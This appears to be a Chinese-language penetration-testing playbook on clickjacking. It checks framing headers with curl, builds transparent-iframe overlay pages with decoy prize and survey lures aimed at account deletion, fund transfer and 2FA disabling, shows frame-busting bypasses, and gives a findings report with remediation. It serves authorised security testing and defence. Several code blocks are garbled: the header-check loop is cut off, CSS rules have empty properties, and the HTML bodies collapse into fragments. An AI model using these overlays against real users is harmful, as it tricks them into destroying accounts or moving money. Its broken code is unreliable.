| name | performing-clickjacking-attack-test |
| description | 在授权安全评估中,通过评估框架嵌入控制和构建概念验证覆盖层攻击来测试 Web 应用程序的点击劫持漏洞。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","clickjacking","ui-redressing","web-security","owasp","x-frame-options"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行点击劫持攻击测试(Performing Clickjacking Attack Test)
适用场景
- 在授权渗透测试中评估 UI 重绘(UI Redressing)漏洞时
- 测试敏感操作(删除账户、转账、更改设置)是否可通过点击劫持执行时
- 评估 X-Frame-Options 和 Content-Security-Policy frame-ancestors 指令的有效性时
- 评估处理一键式操作且无额外确认的应用程序时
- 对处理金融交易或账户管理的应用程序进行安全审计时
前置条件
- 授权:针对目标的书面渗透测试协议
- Web 浏览器:现代浏览器,用于测试 iframe 嵌入
- 本地 Web 服务器:Python
http.server 或类似工具,用于托管 PoC 页面
- Burp Suite:用于检查响应头
- HTML/CSS 知识:用于构建点击劫持覆盖层页面
- curl:用于检查目标页面的框架头
工作流程
步骤 1:检查框架嵌入保护
检查响应头中的反点击劫持防御措施。
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
for page in / /account/settings /account/delete /transfer \
/admin/dashboard /change-password /change-email; do
echo -n "$page: "
headers=$(curl -s -I "https://target.example.com$page")
xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
if [ -z "$xfo" ] && [ -z "$csp" ]; then
echo "无保护"
else
echo "${xfo:-none} | "
curl -s | grep -i
步骤 2:测试基本 Iframe 嵌入
尝试在 iframe 中嵌入目标页面以确认漏洞。
<html>
<head><title>点击劫持框架测试</title></head>
<body>
<h1>框架嵌入测试</h1>
<p>如果目标页面在下方加载,则容易受到点击劫持攻击。</p>
<iframe src="https://target.example.com/account/settings"
width="800" height="600"
style="border: 2px solid red;">
</iframe>
<p>如果控制台显示"Refused to display"或 iframe 为空白,
则该页面有框架保护。</p>
</body>
</html>
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>点击劫持测试</h1>
<iframe src="https://target.example.com/account/settings"
width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
步骤 3:构建点击劫持概念验证
构建一个覆盖层攻击,诱骗用户点击隐藏元素。
<html>
<head>
<title>赢取奖品!</title>
<style>
body {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
#target-frame {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.0001;
z-index: 2;
border: none;
}
#decoy {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1;
background: white;
}
#click-bait {
position: absolute;
top: ;
: ;
: ;
: ;
: white;
: ;
: pointer;
: none;
: ;
}
恭喜!您中奖了!
点击下方按钮领取奖品
领取奖品
步骤 4:创建多步骤点击劫持攻击
对于需要多次点击的操作,创建多步骤覆盖层。
<html>
<head>
<title>完成调查</title>
<style>
#target-frame {
position: absolute;
width: 100%;
height: 100%;
opacity: 0.0001;
z-index: 2;
border: none;
}
#step-container {
text-align: center;
margin-top: 200px;
z-index: 1;
position: relative;
}
.step { display: none; }
.step.active { display: block; }
.btn {
padding: 15px 40px;
font-size: 18px;
background: #2196F3;
color: white;
border: none;
cursor: pointer;
margin-top: 20px;
}
</style>
</head>
<body>
< =>
步骤 1:选择您的奖励
黄金套餐
步骤 2:确认您的选择
确认
步骤 3:领取奖励!
立即领取!
步骤 5:测试框架破坏绕过技术
如果使用了基于 JavaScript 的框架保护,尝试绕过它。
<iframe src="https://target.example.com/account/settings"
sandbox="allow-scripts allow-forms allow-same-origin"
width="800" height="600">
</iframe>
<iframe src="intermediate.html" width="800" height="600"></iframe>
<script>
window.onbeforeunload = function() {
return "您确定要离开吗?";
};
</script>
<iframe src="https://target.example.com/account/settings"
width="800" height="600">
</iframe>
< = = = =>
步骤 6:验证影响并记录发现
确认点击劫持能导致有意义的影响。
cd /tmp
python3 -m http.server 8888
核心概念
| 概念 | 定义 |
|---|
| 点击劫持(Clickjacking) | 通过覆盖诱饵内容欺骗用户点击隐藏元素的 UI 重绘攻击 |
| X-Frame-Options | 控制页面是否可嵌入 iframe 的 HTTP 头(DENY、SAMEORIGIN) |
| frame-ancestors | 指定 iframe 嵌入有效父级的 CSP 指令(取代 X-Frame-Options) |
| 框架破坏(Frame Busting) | 尝试跳出 iframe 的 JavaScript 防御机制(易被绕过) |
| Likejacking | 针对社交媒体"点赞"或"分享"按钮的点击劫持变体 |
| 光标劫持(Cursorjacking) | 使用 CSS 偏移可见光标与实际点击位置的变体 |
| 多步骤点击劫持(Multi-step Clickjacking) | 需要多次点击的攻击,每个步骤的诱饵内容各不相同 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite Professional | 检查响应上的 X-Frame-Options 和 CSP 头 |
| Clickjack Tester(浏览器) | 基于浏览器的 iframe 嵌入测试工具 |
| 浏览器 DevTools | 检查框架嵌入行为和控制台错误 |
| Python http.server | 在本地托管点击劫持 PoC 页面 |
| OWASP ZAP | 自动检测缺少的反框架头 |
| securityheaders.com | 缺失安全头的在线扫描器 |
常见场景
场景 1:通过点击劫持删除账户
/account/delete 的账户删除页面没有 X-Frame-Options 头。攻击者创建一个带有"赢取奖品"按钮的页面,将其定位在透明 iframe 中"删除我的账户"按钮的上方。
场景 2:一键资金转账
银行应用程序通过预填表单上的单一按钮点击执行转账。在没有框架保护的情况下,攻击者将转账页面嵌入 iframe,并覆盖诱饵"玩游戏"按钮。
场景 3:通过多步骤点击劫持禁用 2FA
禁用双因素认证需要两次点击(设置链接,然后禁用按钮)。多步骤点击劫持 PoC 引导受害者完成两次诱饵点击,这些点击与真实按钮对齐。
场景 4:OAuth 授权点击劫持
OAuth 同意屏幕允许嵌入。攻击者嵌入同意页面并诱骗受害者点击"授权",将攻击者的应用程序访问权授予受害者账户。
输出格式
## 点击劫持漏洞发现报告
**漏洞**:点击劫持 — 缺少框架嵌入保护
**严重性**:中(CVSS 6.1)
**位置**:/account/settings、/account/delete、/transfer
**OWASP 类别**:A04:2021 - 不安全设计
### 头部分析
| 页面 | X-Frame-Options | CSP frame-ancestors | 是否易受攻击 |
|------|----------------|--------------------|-|
| / | 未设置 | 未设置 | 是 |
| /account/settings | 未设置 | 未设置 | 是 |
| /account/delete | 未设置 | 未设置 | 是 |
| /transfer | 未设置 | 未设置 | 是 |
| /login | SAMEORIGIN | - | 否 |
### 可被利用的敏感操作
1. 账户删除(单次点击,无需重新认证)
2. 邮箱更改(单次点击,无需确认)
3. 2FA 禁用(两次点击,多步骤 PoC)
4. 资金转账(预填表单,单次点击)
### 影响
- 通过邮箱更改点击劫持实现账户接管
- 通过删除点击劫持毁坏账户
- 通过转账点击劫持造成财务损失
- 通过 2FA 禁用点击劫持降低安全性
### 修复建议
1. 为所有页面添加 `Content-Security-Policy: frame-ancestors 'none'`
2. 设置 `X-Frame-Options: DENY` 作为旧版浏览器的回退措施
3. 对敏感操作要求重新认证(删除、转账)
4. 添加无法预填或自动提交的确认对话框
5. 实施 SameSite=Strict Cookie 以减少 iframe 中的会话可用性